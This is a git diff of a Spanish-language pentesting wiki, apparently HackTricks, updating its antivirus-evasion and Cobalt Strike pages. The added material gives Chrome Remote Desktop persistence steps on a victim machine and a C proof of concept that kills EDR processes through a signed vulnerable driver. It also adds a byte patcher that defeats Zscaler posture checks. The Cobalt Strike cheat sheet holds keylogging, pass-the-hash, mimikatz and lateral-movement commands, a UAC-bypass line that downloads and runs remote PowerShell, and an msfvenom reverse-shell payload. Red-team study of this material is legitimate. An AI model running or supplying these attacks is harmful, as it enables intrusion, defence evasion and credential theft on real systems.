paso, deberías observar API .NET normales como `Convert.FromBase64String` o `AES.Create()` en lugar de funciones de envoltura opacas (`Class8.smethod_10`, …). + +4. Limpieza manual – ejecuta el binario resultante bajo dnSpy, busca grandes blobs Base64 o el uso de `RijndaelManaged`/`TripleDESCryptoServiceProvider` para localizar la carga útil *real*. A menudo, el malware lo almacena como un arreglo de bytes codificado TLV inicializado dentro de `.byte_0`. + +La cadena anterior restaura el flujo de ejecución **sin** necesidad de ejecutar la muestra maliciosa – útil al trabajar en una estación de trabajo fuera de línea. + +> 🛈 ConfuserEx produce un atributo personalizado llamado `ConfusedByAttribute` que puede ser utilizado como un IOC para clasificar automáticamente muestras. + +#### One-liner +```bash +autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially +``` +--- + +- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: ofuscador de C#** +- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar un fork de código abierto de la suite de compilación [LLVM](http://www.llvm.org/) capaz de ofrecer una mayor seguridad del software a través de [ofuscación de código]() y protección contra manipulaciones. - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demuestra cómo usar el lenguaje `C++11/14` para generar, en tiempo de compilación, código ofuscado sin usar ninguna herramienta externa y sin modificar el compilador. - [**obfy**](https://github.com/fritzone/obfy): Agrega una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas de C++ que hará que la vida de la persona que quiera crackear la aplicación sea un poco más difícil. -- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador de binarios x64 que puede ofuscar varios archivos pe diferentes, incluyendo: .exe, .dll, .sys +- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador binario x64 que puede ofuscar varios archivos pe diferentes, incluyendo: .exe, .dll, .sys - [**metame**](https://github.com/a0rtega/metame): Metame es un motor de código metamórfico simple para ejecutables arbitrarios. -- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes compatibles con LLVM utilizando ROP (programación orientada a retorno). ROPfuscator ofusca un programa a nivel de código ensamblador transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal. -- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt es un Crypter PE de .NET escrito en Nim. -- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor es capaz de convertir EXE/DLL existentes en shellcode y luego cargarlos. +- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes compatibles con LLVM utilizando ROP (programación orientada a retorno). ROPfuscator ofusca un programa a nivel de código de ensamblador transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal. +- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt es un Crypter PE de .NET escrito en Nim +- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor es capaz de convertir EXE/DLL existentes en shellcode y luego cargarlos ## SmartScreen & MoTW @@ -245,11 +285,11 @@ Microsoft Defender SmartScreen es un mecanismo de seguridad destinado a proteger SmartScreen funciona principalmente con un enfoque basado en la reputación, lo que significa que las aplicaciones descargadas poco comúnmente activarán SmartScreen, alertando y evitando que el usuario final ejecute el archivo (aunque el archivo aún se puede ejecutar haciendo clic en Más información -> Ejecutar de todos modos). -**MoTW** (Marca de la Web) es un [NTFS Alternate Data Stream]() con el nombre de Zone.Identifier que se crea automáticamente al descargar archivos de internet, junto con la URL de la que se descargó. +**MoTW** (Marca de la Web) es un [NTFS Alternate Data Stream]() con el nombre de Zone.Identifier que se crea automáticamente al descargar archivos de internet, junto con la URL desde la que se descargó.

Comprobando el ADS Zone.Identifier para un archivo descargado de internet.

-> [!NOTE] +> [!TIP] > Es importante tener en cuenta que los ejecutables firmados con un certificado de firma **confiable** **no activarán SmartScreen**. Una forma muy efectiva de evitar que tus cargas útiles obtengan la Marca de la Web es empaquetarlas dentro de algún tipo de contenedor como un ISO. Esto sucede porque la Marca de la Web (MOTW) **no puede** aplicarse a volúmenes **no NTFS**. @@ -302,7 +342,7 @@ La mayoría de los frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Ha - **Fork\&Run** -Esto implica **generar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termines, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus desventajas. El beneficio del método fork and run es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mucho mayor posibilidad** de que nuestro **implante sobreviva.** La desventaja es que tienes una **mayor probabilidad** de ser detectado por **Detecciones Comportamentales**. +Esto implica **generar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termines, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus desventajas. El beneficio del método fork and run es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mucho mayor posibilidad** de que nuestro **implante sobreviva.** La desventaja es que tienes una **mayor probabilidad** de ser atrapado por **Detecciones Comportamentales**.
@@ -312,10 +352,10 @@ Se trata de inyectar el código malicioso de post-explotación **en su propio pr
-> [!NOTE] +> [!TIP] > Si deseas leer más sobre la carga de ensamblados de C#, consulta este artículo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) y su BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) -También puedes cargar ensamblados de C# **desde PowerShell**, consulta [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) y [el video de S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk). +También puedes cargar ensamblados de C# **desde PowerShell**, consulta [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) y el video de [S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk). ## Usando Otros Lenguajes de Programación @@ -335,6 +375,16 @@ Para prevenir esto, Windows podría **impedir que procesos externos** obtengan m - [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) - [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF) +## Usando Software de Confianza + +### Chrome Remote Desktop + +Como se describe en [**esta publicación de blog**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), es fácil simplemente desplegar Chrome Remote Desktop en la PC de la víctima y luego usarlo para tomar el control y mantener la persistencia: +1. Descarga desde https://remotedesktop.google.com/, haz clic en "Configurar a través de SSH", y luego haz clic en el archivo MSI para Windows para descargar el archivo MSI. +2. Ejecuta el instalador en silencio en la víctima (se requiere administrador): `msiexec /i chromeremotedesktophost.msi /qn` +3. Regresa a la página de Chrome Remote Desktop y haz clic en siguiente. El asistente te pedirá que autorices; haz clic en el botón Autorizar para continuar. +4. Ejecuta el parámetro dado con algunos ajustes: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Nota el parámetro pin que permite establecer el pin sin usar la GUI). + ## Evasión Avanzada La evasión es un tema muy complicado, a veces tienes que tener en cuenta muchas fuentes diferentes de telemetría en un solo sistema, por lo que es prácticamente imposible permanecer completamente indetectado en entornos maduros. @@ -362,11 +412,11 @@ Otra herramienta que hace **lo mismo es** [**avred**](https://github.com/dobin/a ### **Servidor Telnet** -Hasta Windows 10, todas las versiones de Windows venían con un **servidor Telnet** que podías instalar (como administrador) haciendo: +Hasta Windows 10, todos los Windows venían con un **servidor Telnet** que podías instalar (como administrador) haciendo: ```bash pkgmgr /iu:"TelnetServer" /quiet ``` -Haz que **inicie** cuando se inicie el sistema y **ejecuta** ahora: +Haz que **inicie** cuando se arranque el sistema y **ejecuta** ahora: ```bash sc config TlntSVR start= auto obj= localsystem ``` @@ -578,4 +628,86 @@ https://github.com/praetorian-code/vulcan - [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion) +## Bring Your Own Vulnerable Driver (BYOVD) – Eliminando AV/EDR Desde el Espacio del Núcleo + +Storm-2603 aprovechó una pequeña utilidad de consola conocida como **Antivirus Terminator** para deshabilitar las protecciones de endpoint antes de soltar ransomware. La herramienta trae su **propio controlador vulnerable pero *firmado*** y lo abusa para emitir operaciones privilegiadas del núcleo que incluso los servicios AV de Protected-Process-Light (PPL) no pueden bloquear. + +Puntos clave +1. **Controlador firmado**: El archivo entregado en disco es `ServiceMouse.sys`, pero el binario es el controlador legítimamente firmado `AToolsKrnl64.sys` del “System In-Depth Analysis Toolkit” de Antiy Labs. Debido a que el controlador tiene una firma válida de Microsoft, se carga incluso cuando la Aplicación de Aplicación de Firma de Controladores (DSE) está habilitada. +2. **Instalación del servicio**: +```powershell +sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys" +sc start ServiceMouse +``` +La primera línea registra el controlador como un **servicio del núcleo** y la segunda lo inicia para que `\\.\ServiceMouse` sea accesible desde el espacio de usuario. +3. **IOCTLs expuestos por el controlador** +| Código IOCTL | Capacidad | +|-----------:|-----------------------------------------| +| `0x99000050` | Terminar un proceso arbitrario por PID (utilizado para eliminar servicios de Defender/EDR) | +| `0x990000D0` | Eliminar un archivo arbitrario en disco | +| `0x990001D0` | Descargar el controlador y eliminar el servicio | + +Prueba de concepto mínima en C: +```c +#include + +int main(int argc, char **argv){ +DWORD pid = strtoul(argv[1], NULL, 10); +HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); +DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL); +CloseHandle(hDrv); +return 0; +} +``` +4. **Por qué funciona**: BYOVD omite completamente las protecciones en modo usuario; el código que se ejecuta en el núcleo puede abrir procesos *protegidos*, terminarlos o manipular objetos del núcleo independientemente de PPL/PP, ELAM u otras características de endurecimiento. + +Detección / Mitigación +• Habilitar la lista de bloqueo de controladores vulnerables de Microsoft (`HVCI`, `Smart App Control`) para que Windows se niegue a cargar `AToolsKrnl64.sys`. +• Monitorear la creación de nuevos servicios *del núcleo* y alertar cuando un controlador se carga desde un directorio escribible por el mundo o no está presente en la lista de permitidos. +• Observar los manejadores en modo usuario a objetos de dispositivo personalizados seguidos de llamadas sospechosas a `DeviceIoControl`. + +### Bypass de las Comprobaciones de Postura del Cliente Zscaler a través de Parcheo de Binarios en Disco + +El **Client Connector** de Zscaler aplica reglas de postura del dispositivo localmente y se basa en RPC de Windows para comunicar los resultados a otros componentes. Dos elecciones de diseño débiles hacen posible un bypass completo: + +1. La evaluación de postura ocurre **totalmente del lado del cliente** (se envía un booleano al servidor). +2. Los puntos finales RPC internos solo validan que el ejecutable que se conecta esté **firmado por Zscaler** (a través de `WinVerifyTrust`). + +Al **parchear cuatro binarios firmados en disco**, ambos mecanismos pueden ser neutralizados: + +| Binario | Lógica original parcheada | Resultado | +|--------|------------------------|---------| +| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Siempre devuelve `1` por lo que cada verificación es conforme | +| `ZSAService.exe` | Llamada indirecta a `WinVerifyTrust` | NOP-ed ⇒ cualquier proceso (incluso no firmado) puede enlazarse a los tubos RPC | +| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Reemplazado por `mov eax,1 ; ret` | +| `ZSATunnel.exe` | Comprobaciones de integridad en el túnel | Cortocircuitado | + +Extracto del parcheador mínimo: +```python +pattern = bytes.fromhex("44 89 AC 24 80 02 00 00") +replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1 + +with open("ZSATrayManager.exe", "r+b") as f: +data = f.read() +off = data.find(pattern) +if off == -1: +print("pattern not found") +else: +f.seek(off) +f.write(replacement) +``` +Después de reemplazar los archivos originales y reiniciar la pila de servicios: + +* **Todas** las verificaciones de postura muestran **verde/compliant**. +* Los binarios no firmados o modificados pueden abrir los puntos finales de RPC de named-pipe (por ejemplo, `\\RPC Control\\ZSATrayManager_talk_to_me`). +* El host comprometido obtiene acceso sin restricciones a la red interna definida por las políticas de Zscaler. + +Este estudio de caso demuestra cómo las decisiones de confianza puramente del lado del cliente y las simples verificaciones de firma pueden ser derrotadas con algunos parches de bytes. + +## Referencias + +- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/) +- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html) +- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/basic-powershell-for-pentesters/README.md b/src/windows-hardening/basic-powershell-for-pentesters/README.md index 623d8696a..b903dd2ed 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/README.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/README.md @@ -231,6 +231,7 @@ $rb.Items() ## Reconocimiento de Dominio + {{#ref}} powerview.md {{#endref}} diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md index bc0cc10d2..e88747618 100644 --- a/src/windows-hardening/cobalt-strike.md +++ b/src/windows-hardening/cobalt-strike.md @@ -1,5 +1,7 @@ # Cobalt Strike +{{#include ../banners/hacktricks-training.md}} + ### Listeners ### C2 Listeners @@ -10,7 +12,7 @@ Los beacons de estos listeners no necesitan comunicarse directamente con el C2, pueden comunicarse a través de otros beacons. -`Cobalt Strike -> Listeners -> Add/Edit` luego necesitas seleccionar los beacons TCP o SMB +`Cobalt Strike -> Listeners -> Add/Edit` luego necesitas seleccionar los beacons TCP o SMB. * El **beacon TCP establecerá un listener en el puerto seleccionado**. Para conectarte a un beacon TCP usa el comando `connect ` desde otro beacon. * El **beacon smb escuchará en un pipename con el nombre seleccionado**. Para conectarte a un beacon SMB necesitas usar el comando `link [target] [pipe]`. @@ -21,10 +23,10 @@ Los beacons de estos listeners no necesitan comunicarse directamente con el C2, `Attacks -> Packages ->` -* **`HTMLApplication`** para archivos HTA -* **`MS Office Macro`** para un documento de office con una macro -* **`Windows Executable`** para un .exe, .dll o servicio .exe -* **`Windows Executable (S)`** para un **stageless** .exe, .dll o servicio .exe (mejor stageless que staged, menos IoCs) +* **`HTMLApplication`** para archivos HTA. +* **`MS Office Macro`** para un documento de office con una macro. +* **`Windows Executable`** para un .exe, .dll o servicio .exe. +* **`Windows Executable (S)`** para un **stageless** .exe, .dll o servicio .exe (mejor stageless que staged, menos IoCs). #### Generate & Host payloads @@ -36,21 +38,21 @@ Si ya tienes el archivo que deseas alojar en un servidor web, solo ve a `Attacks ### Beacon Options -
# Ejecutar binario .NET local
+
# Execute local .NET binary
 execute-assembly 
-# Ten en cuenta que para cargar ensamblados más grandes de 1MB, la propiedad 'tasks_max_size' del perfil maleable necesita ser modificada.
+# Nota que para cargar ensamblados más grandes de 1MB, la propiedad 'tasks_max_size' del perfil maleable necesita ser modificada.
 
-# Capturas de pantalla
-printscreen    # Tomar una sola captura de pantalla mediante el método PrintScr
-screenshot     # Tomar una sola captura de pantalla
-screenwatch    # Tomar capturas de pantalla periódicas del escritorio
+# Screenshots
+printscreen    # Toma una sola captura de pantalla mediante el método PrintScr
+screenshot     # Toma una sola captura de pantalla
+screenwatch    # Toma capturas de pantalla periódicas del escritorio
 ## Ve a Ver -> Capturas de pantalla para verlas
 
 # keylogger
 keylogger [pid] [x86|x64]
 ## Ver > Teclas presionadas para ver las teclas presionadas
 
-# escaneo de puertos
+# portscan
 portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inyectar acción de escaneo de puertos dentro de otro proceso
 portscan [targets] [ports] [arp|icmp|none] [max connections]
 
@@ -63,14 +65,14 @@ powerpick   # Esto crea un proceso sacrificial especificado por sp
 powerpick Invoke-PrivescAudit | fl
 psinject     # Esto inyecta UnmanagedPowerShell en el proceso especificado para ejecutar el cmdlet de PowerShell.
 
-# Suplantación de usuario
+# User impersonation
 ## Generación de token con credenciales
 make_token [DOMAIN\user] [password] #Crear token para suplantar a un usuario en la red
 ls \\computer_name\c$ # Intenta usar el token generado para acceder a C$ en una computadora
-rev2self # Dejar de usar el token generado con make_token
+rev2self # Deja de usar el token generado con make_token
 ## El uso de make_token genera el evento 4624: Una cuenta ha iniciado sesión correctamente. Este evento es muy común en un dominio de Windows, pero se puede reducir filtrando por el Tipo de Inicio de Sesión. Como se mencionó anteriormente, utiliza LOGON32_LOGON_NEW_CREDENTIALS que es el tipo 9.
 
-# Bypass de UAC
+# UAC Bypass
 elevate svc-exe 
 elevate uac-token-duplication 
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
@@ -78,9 +80,9 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
 ## Robar token de pid
 ## Como make_token pero robando el token de un proceso
 steal_token [pid] # Además, esto es útil para acciones de red, no acciones locales
-## De la documentación de la API sabemos que este tipo de inicio de sesión "permite al llamador clonar su token actual". Por eso la salida del Beacon dice Suplantado  - está suplantando nuestro propio token clonado.
+## De la documentación de la API sabemos que este tipo de inicio de sesión "permite al llamador clonar su token actual". Por eso la salida del Beacon dice Impersonated  - está suplantando nuestro propio token clonado.
 ls \\computer_name\c$ # Intenta usar el token generado para acceder a C$ en una computadora
-rev2self # Dejar de usar el token de steal_token
+rev2self # Deja de usar el token de steal_token
 
 ## Lanzar proceso con nuevas credenciales
 spawnas [domain\username] [password] [listener] #Hazlo desde un directorio con acceso de lectura como: cd C:\
@@ -90,17 +92,17 @@ spawnas [domain\username] [password] [listener] #Hazlo desde un directorio con a
 inject [pid] [x64|x86] [listener]
 ## Desde un punto de vista de OpSec: No realices inyección entre plataformas a menos que realmente sea necesario (por ejemplo, x86 -> x64 o x64 -> x86).
 
-## Pasar el hash
-## Este proceso de modificación requiere parches en la memoria de LSASS, lo cual es una acción de alto riesgo, requiere privilegios de administrador local y no es muy viable si el Proceso Protegido Ligero (PPL) está habilitado.
+## Pass the hash
+## Este proceso de modificación requiere parchar la memoria de LSASS, lo cual es una acción de alto riesgo, requiere privilegios de administrador local y no es muy viable si Protected Process Light (PPL) está habilitado.
 pth [pid] [arch] [DOMAIN\user] [NTLM hash]
 pth [DOMAIN\user] [NTLM hash]
 
-## Pasar el hash a través de mimikatz
+## Pass the hash a través de mimikatz
 mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"powershell -w hidden"
 ## Sin /run, mimikatz genera un cmd.exe, si estás ejecutando como un usuario con Escritorio, verá el shell (si estás ejecutando como SYSTEM, estás bien).
 steal_token  #Robar token del proceso creado por mimikatz
 
-## Pasar el ticket
+## Pass the ticket
 ## Solicitar un ticket
 execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
 execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec
@@ -110,13 +112,13 @@ make_token \ DummyPass
 [System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
 kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
 
-## Pasar el ticket desde SYSTEM
+## Pass the ticket desde SYSTEM
 ## Generar un nuevo proceso con el ticket
 execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
 ## Robar el token de ese proceso
 steal_token 
 
-## Extraer ticket + Pasar el ticket
+## Extraer ticket + Pass the ticket
 ### Listar tickets
 execute-assembly C:\path\Rubeus.exe triage
 ### Volcar ticket interesante por luid
@@ -128,28 +130,28 @@ execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket.
 ### Finalmente, robar el token de ese nuevo proceso
 steal_token 
 
-# Movimiento Lateral
+# Lateral Movement
 ## Si se creó un token, se utilizará
 jump [method] [target] [listener]
 ## Métodos:
 ## psexec                    x86   Usar un servicio para ejecutar un artefacto Service EXE
 ## psexec64                  x64   Usar un servicio para ejecutar un artefacto Service EXE
-## psexec_psh                x86   Usar un servicio para ejecutar una línea de PowerShell
-## winrm                     x86   Ejecutar un script de PowerShell a través de WinRM
-## winrm64                   x64   Ejecutar un script de PowerShell a través de WinRM
+## psexec_psh                x86   Usar un servicio para ejecutar una línea de PowerShell
+## winrm                     x86   Ejecutar un script de PowerShell a través de WinRM
+## winrm64                   x64   Ejecutar un script de PowerShell a través de WinRM
 ## wmi_msbuild               x64   movimiento lateral wmi con tarea inline c# de msbuild (oppsec)
 
 remote-exec [method] [target] [command] # remote-exec no devuelve salida
 ## Métodos:
-## psexec                          Ejecución remota a través del Administrador de Control de Servicios
-## winrm                           Ejecución remota a través de WinRM (PowerShell)
-## wmi                             Ejecución remota a través de WMI
+## psexec                          Ejecución remota a través del Administrador de Control de Servicios
+## winrm                           Ejecución remota a través de WinRM (PowerShell)
+## wmi                             Ejecución remota a través de WMI
 
 ## Para ejecutar un beacon con wmi (no está en el comando jump) solo sube el beacon y ejecútalo
 beacon> upload C:\Payloads\beacon-smb.exe
 beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
 
-# Pasar sesión a Metasploit - A través de listener
+# Pass session to Metasploit - Through listener
 ## En el host de metaploit
 msf6 > use exploit/multi/handler
 msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
@@ -157,33 +159,33 @@ msf6 exploit(multi/handler) > set LHOST eth0
 msf6 exploit(multi/handler) > set LPORT 8080
 msf6 exploit(multi/handler) > exploit -j
 
-## En cobalt: Listeners > Agregar y establecer el Payload en HTTP Extranjero. Establecer el Host en 10.10.5.120, el Puerto en 8080 y hacer clic en Guardar.
+## En cobalt: Listeners > Add y establece el Payload a Foreign HTTP. Establece el Host a 10.10.5.120, el Puerto a 8080 y haz clic en Guardar.
 beacon> spawn metasploit
-## Solo puedes generar sesiones Meterpreter x86 con el listener extranjero.
+## Solo puedes generar sesiones de Meterpreter x86 con el listener extranjero.
 
-# Pasar sesión a Metasploit - A través de inyección de shellcode
+# Pass session to Metasploit - Through shellcode injection
 ## En el host de metasploit
 msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw -o /tmp/msf.bin
-## Ejecutar msfvenom y preparar el listener multi/handler
+## Ejecuta msfvenom y prepara el listener multi/handler.
 
-## Copiar el archivo bin a la máquina host de cobalt strike
+## Copia el archivo bin a la máquina host de cobalt strike
 ps
-shinject  x64 C:\Payloads\msf.bin #Inyectar shellcode de metasploit en un proceso x64
+shinject  x64 C:\Payloads\msf.bin #Inyectar shellcode de metasploit en un proceso x64.
 
-# Pasar sesión de metasploit a cobalt strike
-## Generar shellcode Beacon stageless, ir a Attacks > Packages > Windows Executable (S), seleccionar el listener deseado, seleccionar Raw como el tipo de salida y seleccionar Usar carga útil x64.
-## Usar post/windows/manage/shellcode_inject en metasploit para inyectar el shellcode generado de cobalt strike.
+# Pass metasploit session to cobalt strike
+## Generar shellcode Beacon stageless, ve a Attacks > Packages > Windows Executable (S), selecciona el listener deseado, selecciona Raw como el tipo de salida y selecciona Usar carga útil x64.
+## Usa post/windows/manage/shellcode_inject en metasploit para inyectar el shellcode generado de cobalt strike.
 
 # Pivoting
-## Abrir un proxy socks en el teamserver
+## Abre un proxy socks en el teamserver
 beacon> socks 1080
 
-# Conexión SSH
+# SSH connection
 beacon> ssh 10.10.17.12:22 username password
## Opsec -### Execute-Assembly +### Execute-Assembly El **`execute-assembly`** utiliza un **proceso sacrificial** mediante inyección de proceso remoto para ejecutar el programa indicado. Esto es muy ruidoso ya que para inyectar dentro de un proceso se utilizan ciertas APIs de Win que todos los EDR están verificando. Sin embargo, hay algunas herramientas personalizadas que se pueden usar para cargar algo en el mismo proceso: @@ -194,26 +196,26 @@ El **`execute-assembly`** utiliza un **proceso sacrificial** mediante inyección El script de agresor `https://github.com/outflanknl/HelpColor` creará el comando `helpx` en Cobalt Strike que pondrá colores en los comandos indicando si son BOFs (verde), si son Frok&Run (amarillo) y similar, o si son ProcessExecution, inyección o similar (rojo). Lo que ayuda a saber qué comandos son más sigilosos. -### Actuar como el usuario +### Act as the user Podrías verificar eventos como `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`: -- Seguridad EID 4624 - Ver todos los inicios de sesión interactivos para conocer las horas de operación habituales. -- Sistema EID 12,13 - Ver la frecuencia de apagado/inicio/sueño. -- Seguridad EID 4624/4625 - Ver intentos NTLM válidos/inválidos entrantes. +- Seguridad EID 4624 - Verifica todos los inicios de sesión interactivos para conocer las horas de operación habituales. +- Sistema EID 12,13 - Verifica la frecuencia de apagado/inicio/suspensión. +- Seguridad EID 4624/4625 - Verifica intentos válidos/inválidos de NTLM entrantes. - Seguridad EID 4648 - Este evento se crea cuando se utilizan credenciales en texto plano para iniciar sesión. Si un proceso lo generó, el binario potencialmente tiene las credenciales en texto claro en un archivo de configuración o dentro del código. Al usar `jump` desde cobalt strike, es mejor usar el método `wmi_msbuild` para que el nuevo proceso parezca más legítimo. -### Usar cuentas de computadora +### Use computer accounts Es común que los defensores estén verificando comportamientos extraños generados por usuarios y **excluyan cuentas de servicio y cuentas de computadora como `*$` de su monitoreo**. Podrías usar estas cuentas para realizar movimiento lateral o escalada de privilegios. -### Usar cargas útiles stageless +### Use stageless payloads -Las cargas útiles stageless son menos ruidosas que las staged porque no necesitan descargar una segunda etapa del servidor C2. Esto significa que no generan tráfico de red después de la conexión inicial, lo que las hace menos propensas a ser detectadas por defensas basadas en la red. +Los payloads stageless son menos ruidosos que los staged porque no necesitan descargar una segunda etapa del servidor C2. Esto significa que no generan tráfico de red después de la conexión inicial, lo que los hace menos propensos a ser detectados por defensas basadas en red. -### Tokens & Almacenamiento de Tokens +### Tokens & Token Store Ten cuidado al robar o generar tokens porque podría ser posible que un EDR enumere todos los tokens de todos los hilos y encuentre un **token perteneciente a un usuario diferente** o incluso a SYSTEM en el proceso. @@ -226,25 +228,25 @@ Esto permite almacenar tokens **por beacon** para que no sea necesario robar el - token-store remove - token-store remove-all -Al moverse lateralmente, generalmente es mejor **robar un token que generar uno nuevo** o realizar un ataque de pasar el hash. +Al moverte lateralmente, generalmente es mejor **robar un token que generar uno nuevo** o realizar un ataque pass the hash. ### Guardrails -Cobalt Strike tiene una función llamada **Guardrails** que ayuda a prevenir el uso de ciertos comandos o acciones que podrían ser detectadas por los defensores. Los guardrails se pueden configurar para bloquear comandos específicos, como `make_token`, `jump`, `remote-exec`, y otros que se utilizan comúnmente para movimiento lateral o escalada de privilegios. +Cobalt Strike tiene una función llamada **Guardrails** que ayuda a prevenir el uso de ciertos comandos o acciones que podrían ser detectados por los defensores. Los guardrails se pueden configurar para bloquear comandos específicos, como `make_token`, `jump`, `remote-exec`, y otros que se utilizan comúnmente para movimiento lateral o escalada de privilegios. -Además, el repositorio [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) también contiene algunas verificaciones e ideas que podrías considerar antes de ejecutar una carga útil. +Además, el repositorio [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) también contiene algunas verificaciones e ideas que podrías considerar antes de ejecutar un payload. -### Cifrado de tickets +### Tickets encryption -En un AD, ten cuidado con el cifrado de los tickets. Por defecto, algunas herramientas usarán cifrado RC4 para tickets de Kerberos, que es menos seguro que el cifrado AES y por defecto los entornos actualizados usarán AES. Esto puede ser detectado por defensores que están monitoreando algoritmos de cifrado débiles. +En un AD ten cuidado con la encriptación de los tickets. Por defecto, algunas herramientas usarán encriptación RC4 para tickets de Kerberos, que es menos segura que la encriptación AES y por defecto los entornos actualizados usarán AES. Esto puede ser detectado por defensores que están monitoreando algoritmos de encriptación débiles. -### Evitar Defaults +### Avoid Defaults -Al usar Cobalt Strike, por defecto los pipes SMB tendrán el nombre `msagent_####` y `"status_####`. Cambia esos nombres. Es posible verificar los nombres de los pipes existentes desde Cobalt Strike con el comando: `ls \\.\pipe\` +Al usar Cobalt Strike por defecto, los pipes SMB tendrán el nombre `msagent_####` y `"status_####`. Cambia esos nombres. Es posible verificar los nombres de los pipes existentes desde Cobalt Strike con el comando: `ls \\.\pipe\` Además, con sesiones SSH se crea un pipe llamado `\\.\pipe\postex_ssh_####`. Cámbialo con `set ssh_pipename "";`. -También en el ataque de post explotación, los pipes `\\.\pipe\postex_####` se pueden modificar con `set pipename ""`. +También en el ataque de post explotación, los pipes `\\.\pipe\postex_####` pueden ser modificados con `set pipename ""`. En los perfiles de Cobalt Strike también puedes modificar cosas como: @@ -256,19 +258,19 @@ En los perfiles de Cobalt Strike también puedes modificar cosas como: - La huella de memoria y el contenido DLL con el bloque `stage {...}` - El tráfico de red -### Bypass de escaneo de memoria +### Bypass memory scanning -Algunos EDRs escanean la memoria en busca de algunas firmas de 